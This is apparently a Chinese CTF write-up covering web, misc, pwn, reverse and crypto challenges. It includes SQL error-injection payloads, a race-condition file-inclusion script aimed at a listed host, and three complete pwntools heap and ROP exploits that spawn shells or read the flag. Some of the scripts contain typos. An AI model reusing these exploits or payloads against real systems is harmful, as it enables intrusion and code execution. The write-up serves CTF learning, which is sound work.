Web


| easy sql |

直接用sqlmap跑,跑出来报错注入并且得到库名是 security 表名是 flag

测试发现information和sys都被过滤了,绕过就好了。

开始查询字段:

1
2
3
Submit=%E7%99%BB%E5%BD%95
&passwd=' and ((select * from (select * from security.flag a join security.flag b using (no,id))c))||'
&uname=%E2%80%99

得到字段后开始查询flag:payload–>

1
2
3
4
5
Submit=%E7%99%BB%E5%BD%95

&passwd='|| extractValue(1,(select `0d479ba3-d155-4d91-948b-9a786bc92dea` from flag)) ||'

&uname=%E2%80%99

得到flag:


| easy_source |

扫描源码发现.index.php.swo备份文件:

分析代码后感觉flag应该User类中,php中的内置的ReflectionMethod方法可以用来获取User类中的内容。所以构造url为

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

因为不知道flag在哪个函数中,所以得每个都试下,这里直接用bp爆破rb的值,从a-z

| middle_source |

扫描目标发现.listing文件,you_can_seeeeeeee_me.php

然后根据phpinfo上传获取tmp_name+文件包含:

具体参考这篇文章https://www.freebuf.com/news/202819.html

但是看到disable_function过滤了很多函数,所以不能直接getshell,只能靠代码获取返回值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python
import sys
import threading
import socket
import requests
import time
host = "124.71.233.33"
port = 23945
url = "http://"+host+":"+str(port)+"/"
PAYLOAD="""keyskeyskeys<?php function d($d){foreach(glob($d.'/*') as $f){if (is_dir($f)) {print_r($f."<br/>");d($f);}else{print_r(file_get_contents($f));}}}d('/etc/ccfabjbeaa'); ?>\r"""
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /you_can_seeeeeeee_me.php?a="""+padding+""" HTTP/1.1\r
Cookie: othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)

def inc(fn):
pass
def up():
try:
s = socket.socket();
s.connect((host,port))
a = s.send(REQ1.encode())
d=""
while len(d) < 123058:
d +=str( s.recv(4096))
pos =d.find("[tmp_name] =&gt;")+16
if pos >17:
# print(d[pos:pos+100])
i = d[pos:pos+20].strip().strip('\\n')
# print(i)
u = url
data={
"cf":"../../../../../../../../"+i+"",
}
try:
r = requests.post(u,data=data)
if r.text.find("keyskeyskeys")>-1:
print(r.text)
except:
pass
break;
for i in range(300):
time.sleep(1)
s.recv(1)
except:
pass

# while True:
for i in range(500):
# up();
threading.Thread(target=up).start()

Misc

| tiny traffic |

打开wireshark

导出HTTP所有对象发现有几个可疑文件导出文件

flag_wrapper和Secret文件里没有什么有价值的信息

去test里看看

重点应该就在test这个文件里。查了一下就是个协议。

下载一下protoc

Protoc -|=。–python _out=../aaa

得到文件test_pb2.py,然后写个脚本读flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#Keyond
#conding:utf-8
import test_pb2
from google.protobuf.json_format import MessageToDict
def getInfo(wanted_info):
print(wanted_info)
with open('secret','rb') as f:
res = f.read();
entitydesc2=test_pb2.PBResponse()
entitydesc2.ParseFromString(res)
print(hex(entitydesc2.flag_part_convert_to_hex_plz))
for d in entitydesc2.dataList:
print(d.flag_part)
print(hex(entitydesc2.flag_part_plz_convert_to_hex  ))
print(entitydesc2.flag_last_part)

对了提交flag时要把0x给去掉= =

| running_pixel |

题目说明

题目附件:

下载下来附件后发现是一个gif图片

观察每一帧图片发现每一帧图片都有一个RGB的点(233,233,233)时间轨迹也不相同 使用python脚本截取出RGB的点 并按照时间画出时间轨迹 处理后的图使用ps打开就独处出来时间顺序为 12504D0F-9DE1-4B00-87A5-A5FDDO986a00 转换成小写就得到了flag

图片处理代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image
import numpy as np
def Rew(nam):
img =Image. open(nam+".png)
img_array =np array(img)
shape =img_array.shape
height = shape[0]
width = shape[1]
dst =np zeros((height, width, 4))
for h in range(0, height):
for w in range (0, width):
(b, g, r, a)=img_array[, w]
if(b,g,r,a)=(233,233,233,255):#白色
img_ array[h,w]=(255,255,255,255)#蓝色
else:
img_ array[h,w]=(0,0,0,0)#红色
dst[h, w]=img_array[h,w]
img Image fromarray(np uint8(dst))
img. save(./running/+nam+".png","png")
for i in range(382):
Rew("图层"+str(i+1))

| 隔空传话 |

从data.txt中得知是pdu编码,之后使用

https://www.diafaan.com/sms-tutorials/gsm-modem-tutorial/online-sms-pdu-decoder/解码,然后根据发送时间排个序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time
from bs4 import BeautifulSoup
import threading
with open('data.txt','r') as f:
rrr = f.readlines()
t = {}
pool_sema =threading.BoundedSemaphore(value=10)
def a(r):
try :
pool_sema.acquire();
u="https://www.diafaan.com/php/DecodeSmsPdu.php"
data={
"messagetype":"",
"pdu":r
}
res = requests.post(u,data=data)
bs = BeautifulSoup(res.text,'lxml')
# print(bs)

tss1 = bs.select("tr:nth-child(7) > td.info > p")[0].text
timeArray = time.strptime(tss1, "%d/%m/%Y %H:%M:%S")
timeStamp = int(time.mktime(timeArray))
with open(str(timeStamp),'w+') as f:
f.write(bs.select("tr:nth-child(3) > td.info > p")[0].text)
abc = bs.select("tr:nth-child(3) > td.info > p")[0].text
if abc.find("flag is")>-1:
print(abc)
pool_sema.release();
except:
pool_sema.release();
a(r)


for r in rrr:
threading.Thread(target=a,args=(r,)).s

解码后放入发送时间的文件夹中,进行时间排序然后读取会发现是PNG的开头,解码:

1
2
3
4
5
6
7
8
9
10
11
import os
import binascii
path = r'.'
dirs = os.listdir(path)
dirs.sort()
res=""
for d in dirs:
with open (path+'\\'+d) as f:
res += f.read()
with open('1.png','wb') as f:
f.write(binascii.a2b_hex(res))

但是由于得到的图片不正常,所以需要通过crc爆破图片宽度:

1
2
3
4
5
6
7
8
9
import struct
import binascii
import os
m = open("1.png","rb").read()
for i in range(1024):
c = m[12:16] + struct.pack('>i', i) + m[20:29]
crc = binascii.crc32(c) & 0xffffffff
if crc == 0xbffaf2dd:
print(i)

再然后data.txt第二句话(the first part of the flag is the first 8 digits of your phone number)知道xx是电话八位,随便解密一条得到15030442 ,拼接起来得到flag


PWN

| pwney |

checksec保护全开,代码很简单,存在整形溢出的漏洞

可以通过整数溢出来泄露出got表的puts的地址

在根据puts地址计算出libc地址后继而得出malloc_hook地址

然后通过malloc_hook地址算出realloc_hook的偏移,

而由于程序中的isoc99_scanf函数会调用malloc_hook,因此将one_gg写道realloc_hook上即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
#      - RemPro()
#           - elf_addr
#           - libc_addr
#           - enable_Onegadgets
#      - exp()
import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"
### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./pwny"                                   # 本地ELF
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6"       # Libc文件
pro_libc = "./libc-2.27.so"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1
### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget''--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")
def exp():
def read(index):
sh.sendlineafter("e: ","1")
sh.sendafter("x: ",index)
def write(index):
sh.sendlineafter("e: ","2")
sh.sendlineafter("x: ",str(index))
def write_2(index,info):
sh.sendlineafter("e: ","2")
sh.sendlineafter("x: ",str(index))
sh.send(info)
for i in range(2):
write(0x100)
read("\xe7".ljust(8,"\xff"))
sh.recvuntil("Result: ")
libc_base=int(sh.recvuntil('\n'),16)-libc.sym["puts"]
success('libc_base => 0x%x',libc_base)

read("\xf5".ljust(8,"\xff"))
sh.recvuntil("Result: ")
addr = int(sh.recvuntil('\n'),16)-0x202008
debug()
malloc_hook = libc_base+libc.sym["__malloc_hook"]
realloc = libc_base + libc.sym["realloc"]
one_gg=one_ggs[1]+libc_base
success("malloc_hook => 0x%x",malloc_hook)
realloc_offset= malloc_hook - (addr + 0x202060)-8
realloc_offset= realloc_offset/8
write_2(realloc_offset,p64(one_gg))
offset= malloc_hook - (addr + 0x202060)
offset= offset/8

payload = p64(realloc+4)
write_2(offset,payload)
sh.recvuntil("Your choice: ")
sh.sendline("1"*0x400)
sh.interactive()
return sh

def exp_2():
print "this is exp_2"

if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()



图片

| lonelywol |

checksec保护全开

由于给的libc是2.27的因此存在tcache,而正好便可以通过uaf来控制tcache进行利用

可以先通过uaf泄露堆块地址,进而控制tcache结构体

再通过多次free tcacche结构体得到main_arena的地址进而带出libc的基地址并算出malloc_Hook与one_gadgets的地址

之后申请0x50的堆块后,将tcache的数量位恢复,并设置0x70的堆块数量为1。在申请堆块来控制主tcache的fd指针指向malloc_hook

最后对malloc_hook填入one_gadgets即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
#      - RemPro()
#           - elf_addr
#           - libc_addr
#           - enable_Onegadgets
#      - exp()
import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
# context.log_level = "debug"
### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./lonelywolf"                                   # 本地ELF
libc_addr = "./libc-2.27.so.bak"       # Libc文件
pro_libc = "./libc-2.27.so.bak"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1
### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget''--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")
def exp():
def new(idx,size):
sh.sendlineafter("choice: ","1")
sh.sendlineafter(": ",str(idx))
sh.sendlineafter("e: ",str(size))
def edit(idx,content):
sh.sendlineafter("choice: ","2")
sh.sendlineafter("x: ",str(idx))
sh.sendlineafter("t: ",str(content))
def show(idx):
sh.sendlineafter("choice: ","3")
sh.sendlineafter("x: ",str(idx))
def dele(idx):
sh.sendlineafter("choice: ","4")
sh.sendlineafter("x: ",str(idx))
new(0,0x60)
# new(0,0x60)
dele(0)
edit(0,p64(0))
dele(0)
show(0)
sh.recvuntil(": ")
heap_addr = u64(sh.recv(6).ljust(8,"\x00"))-0x260
success("heap_addr => 0x%x",heap_addr)
tcache_addr = heap_addr + 0x10
edit(0,p64(tcache_addr))
new(0,0x60)
new(0,0x60)
for i in range(8):
edit(0,p64(0))
dele(0)
show(0)
sh.recvuntil(": ")
main_arena96 = u64(sh.recv(6).ljust(8,"\x00"))
success("main_arena96 => 0x%x",main_arena96)
malloc_hook = main_arena96 -96-0x10
libc_base = malloc_hook - libc.sym["__malloc_hook"]
one_gg = one_ggs[2]+libc_base
realloc = libc_base + libc.sym["__libc_realloc"]
success("malloc_hook => 0x%x",malloc_hook)
success("libc_base => 0x%x",libc_base)
new(0,0x50)
edit(0,p64(0x0000010000000000)+p64(0))
new(0,0x10)
edit(0,p64(0)+p64(malloc_hook-0x13))
new(0,0x60)
edit(0,"a"*19+p64(one_gg)+p64(realloc+0xc))
# debug()
new(0,0x20)
# debug()
return sh


if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()


| silverwolf |

在sub_C70函数中发现存在seccomp_rule_add函数,即可能程序禁用了部分函数

使用seccomp-tools查看程序确实只允许使用read\write\open其他的全部kill掉了

而seccomp函数却在运行时创建大量堆块,对此则需要先把他们use掉

之后就是继续正常的uaf,前期与loneywolf打法一样,先泄露堆地址,泄露libc地址

然后通过泄露出来的堆找几个空的位置写flag,orw和frame

之后触发gadget,执行frame,达成read,read读入orw到heap上,然后frame的rsp跳转到orw的地址,执行orw最后getshell

具体参考文章:https://blog.csdn.net/carol2358/article/details/108351308

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
#      - RemPro()
#           - elf_addr
#           - libc_addr
#           - enable_Onegadgets
#      - exp()
import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"
context.arch = "amd64"
### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./silverwolf"                                   # 本地ELF
libc_addr = "./libc-2.27.so"       # Libc文件
pro_libc = "./libc-2.27.so"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1
### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget''--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")
def exp():
def new(idx,size):
sh.sendlineafter("choice: ","1")
sh.sendlineafter(": ",str(idx))
sh.sendlineafter("e: ",str(size))
def edit(idx,content):
sh.sendlineafter("choice: ","2")
sh.sendlineafter("x: ",str(idx))
sh.sendlineafter("t: ",str(content))
def show(idx):
sh.sendlineafter("choice: ","3")
sh.sendlineafter("x: ",str(idx))
def dele(idx):
sh.sendlineafter("choice: ","4")
sh.sendlineafter("x: ",str(idx))

for i in range(20):
new(0,0x10)
new(0,0x50)
for i in range(7):
new(0,0x60)
for i in range(7):
new(0,0x70)

new(0,0x20)
dele(0)
new(0,0x50)

new(0,0x9)
dele(0)
edit(0,'1'*8+'\n')
dele(0)
new(0,0x2)
edit(0,p16(0x7010+0x40))
new(0,0x2)
new(0,0x2)
show(0)
sh.recvuntil(': ')
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x50
new(0,0x30)
dele(0)
edit(0,'1'*8+'\n')
dele(0)
new(0,0x30)
edit(0,p64(heap_base+0x19d0)+'\n')
new(0,0x30)
new(0,0x30)
edit(0,p64(0)+p64(0x91)[:-1]+'\n')

new(0,0x70)
dele(0)
edit(0,'1'*8+'\n')
dele(0)
new(0,0x70)
edit(0,p64(heap_base+0x10)+'\n')
new(0,0x70)
new(0,0x70)
edit(0,('\x01'*2+'\x00'*5+'\xff').ljust(0x40'\xff')+p64(heap_base+0x50)+p64(heap_base+0x19d0+0x10)+'\n')

new(0,0x20)
dele(0)
show(0)
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - (0x7ffff7dcfca0-0x7ffff79e4000)
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
environ = libc_base + libc.sym['_environ']

new(0,0x40)
dele(0)
edit(0,'1'*8+'\n')
dele(0)
new(0,0x40)
edit(0,p64(environ)+'\n')
new(0,0x40)
edit(0,'./flag\n')
new(0,0x40)
show(0)
sh.recvuntil(': ')
stack = u64(sh.recv(6).ljust(8,'\x00'))
ret = stack - (0x7fffffffee58-0x7fffffffed38)

new(0,0x60)
dele(0)
edit(0,'1'*8+'\n')
dele(0)
new(0,0x60)
edit(0,p64(heap_base+0x40+0x10)+'\n')
new(0,0x60)
pop_rdi_ret = libc_base + 0x215bf
pop_rdx_rsi_ret = libc_base + 0x130569
pop_rsi_ret = libc_base + 0x23eea
pop_rax_ret = libc_base + 0x43ae8
pop_4_ret = libc_base + 0x215b8
pop_rsp_ret = libc_base + 0x03960
syscall = libc_base + 0x110222
syscall = libc_base + 0x110222
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

new(0,0x60)
target = heap_base + 0x1f0
flag = heap_base + 0x19e0
payload = p64(ret) + p64(target+0x10) + p64(target + 0x20) + p64(target+0x40) + p64(target + 0x70)
edit(0,payload+'\n')
ROP = ''
ROP += p64(pop_rax_ret)+p64(2)
ROP += p64(pop_rdi_ret)+p64(flag)
ROP += p64(pop_rsi_ret)+p64(0) + p64(syscall)
ROP += p64(pop_rdi_ret)+p64(3)
ROP += p64(pop_rdx_rsi_ret)+p64(0x50)+p64(heap_base)
ROP += p64(read)
ROP += p64(pop_rdi_ret)+p64(1)
ROP += p64(write)
new(0,0x20)
payload = ROP[0:0x10] + p64(pop_4_ret)
edit(0,payload+'\n')
new(0,0x30)
payload = ROP[0x10:0x30] + p64(pop_4_ret)
edit(0,payload + '\n')
new(0,0x40)
payload = ROP[0x30:0x60] + p64(pop_4_ret)
edit(0,payload+'\n')
new(0,0x50)
payload = ROP[0x60:] + p64(pop_4_ret)
edit(0,payload+'\n')
new(0,0x10)
edit(0,p64(pop_rsp_ret)+p64(target+0x10))

sh.interactive()
# debug()
return sh


if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
while True:
try:
exp()
except:
p.close()

# exp()




Reverse

| glass|

解压apk找到libnative-lib.so

把代码复制出来跑一下,再结果base64编码一下,然后RC4解密,密钥123456789

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
std::string sub_10D4(std::string result, int a2, std::string a3, int a4)
{
int i; // r4
char* v5; // r6
char v6; // r5
char v7; // lr
char v8; // r12
int j; // lr
int k; // r6
for ( j = 32; j >=0; j -= a4 ) {
for ( k = a2 - j >= 8 ? 7 : a2 - j - 1; k>=0 ; --k )
result[j + k] ^= a3[k];
}

for ( i = 36; i >=0; i -= 3 ) {
result[i+1] = result[i+1] ^  result[i];
result[i + 2] = result[i + 2] ^ result[i+1];
result[i] = result[i] ^ result[i + 2];
}
return result;
}

| baby_bc |

打开baby.bc发现是个llvm的文件,需要用clang转为.o文件

1
clang -c baby.bc -o baby_bc.o

再用IDA打开进行分析,可以看到输入的字符长度必须是25,然后取值范围是0-5

之后根据map的值来验证一下这个输入的值。

而问题主要在docheck函数中

大概流程就是开始把输入的值当成了一个5*5的矩阵,横着是每一行的值不能重复,竖着是每一列的值不能重复,类似一个二维表

之后根据o和n这两个数组来判断,n是一个44的矩阵,o是一个55的矩阵

1
2
3
4
o=1,后一个必须比前一个大
o=2,后一个必须比前一个小
n=1,后一个必须比前一个小
n=2,后一个必须比前一个大

最后dump一下表然后直接用z3约束跑一下脚本
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from z3 import *
import hashlib
s = Solver()
n = [[0x00, 0x00, 0x00, 0x01], [0x01, 0x00, 0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00],[0x01, 0x00, 0x01, 0x00]]
o = [[0x00, 0x00, 0x02, 0x00, 0x02], [0x00, 0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00],[0x00, 0x01, 0x00, 0x00, 0x01]]
flag = [[Int("flag%d%d" % (i, j)) for i in range(5)] for j in range(5)]
s.add(flag[2][2] == 4)
s.add(flag[3][3] == 3)
for i in range(5):
for j in range(5):
s.add(flag[i][j] >= 1)
s.add(flag[i][j] <= 5)
for i in range(5):
for j in range(5):
for x in range(j):
s.add(flag[i][j] != flag[i][x])
for j in range(5):
for i in range(5):
for x in range(i):
s.add(flag[i][j] != flag[x][j])
for i in range(5):
for j in range(4):
if n[i][j] == 1:
s.add(flag[i][j] > flag[i][j + 1])
elif n[i][j] == 2:
s.add(flag[i][j] < flag[i][j + 1])
for i in range(4):
for j in range(5):
if o[i][j] == 1:
s.add(flag[i][j] < flag[i + 1][j])
elif o[i][j] == 2:
s.add(flag[i][j] > flag[i + 1][j])
flag1=''
if s.check() == sat:
m = s.model()
for i in range(0,5):
for j in range(0,5):
if i==2 and j==2:
flag1+='0'
elif i==3 and j==3:
flag1+='0'
else:
flag1+=str(m[flag[i][j]].as_long())
print flag1
print hashlib.md5(flag1).hexdigest()

Crypto

| rsa|

分析了一下看出来:

msg1能用低加密指数攻击得到,msg2能用共模攻击得到,msg3就用已知p的高位攻击得到,然后把获得的所有msg,进行md5加密就能拿到flag了

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from libnum import invmod,n2s
import gmpy

c=19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
n=123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
e=0x3
i=0
while(1):
    x=n*i+c
    temp=gmpy.root(x,e)
    if temp[1]==1:
        print "found! "+str(i)
        s=temp[0]
        print s
        break
    else:
        i=i+1
print n2s(s)

已知msg1:

267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#-*- coding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long
from libnum import n2s,s2n,invmod
def egcd(a,b):
if a==0:
return(b,0,1)
else:
g,y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
c1=54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
c2=91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
e1=17
n=111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
e2=65537
s=egcd(e1,e2)
s1=s[1]
s2=s[2]
print s 
#求模反元素
if s1<0:
s1=-s1
c1=invmod(c1,n)
else:
s2=-s2
c2=invmod(c2,n)
m=(pow(c1,s1,n)*pow(c2,s2,n))%n
print "m:"+str(m)
print long_to_bytes(m)

运行结果:

已知msg2:

4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
from libnum.modular import invmod
import hashlib
n=113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p1=7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
e=0x10001
pbits=512
kbits=pbits-p1.nbits()
print(p1.nbits())
p1=p1<<kbits
PR.<x>=PolynomialRing(Zmod(n))
f=x+p1
roots=f.small_roots(X=2^kbits,beta=0.4)
if roots:
p=p1+int(roots[0])
q=n//p
print("n:",n)
print("p:",p)
print("q:",n//p)
phi=(p-1)*(q-1)
e=0x10001
c=59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
d=invmod(e,phi)
m=pow(c,d,n)
print(m)
print(long_to_bytes(m))

得到Msg3:
978430871477569051989776547659020359721056838635797362474311886436116962354292851181720060000979143571198378856012391742078510586927376783797757539078239088349758644144812898155106623543650953940606543822567423130350207207895380499638001151443841997176299548692737056724423631882

之后结合一下:

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
from libnum.modular import invmod
import hashlib
msg1=267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157
msg2=4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137
msg3=978430871477569051989776547659020359721056838635797362474311886436116962354292851181720060000979143571198378856012391742078510586927376783797757539078239088349758644144812898155106623543650953940606543822567423130350207207895380499638001151443841997176299548692737056724423631882
 
test=(long_to_bytes(msg1)+long_to_bytes(msg2)+long_to_bytes(msg3))
print test 
print bytes_to_long(test) 
print "flag:"+"flag{"+hashlib.md5(test).hexdigest()+"}"

运行结果如下: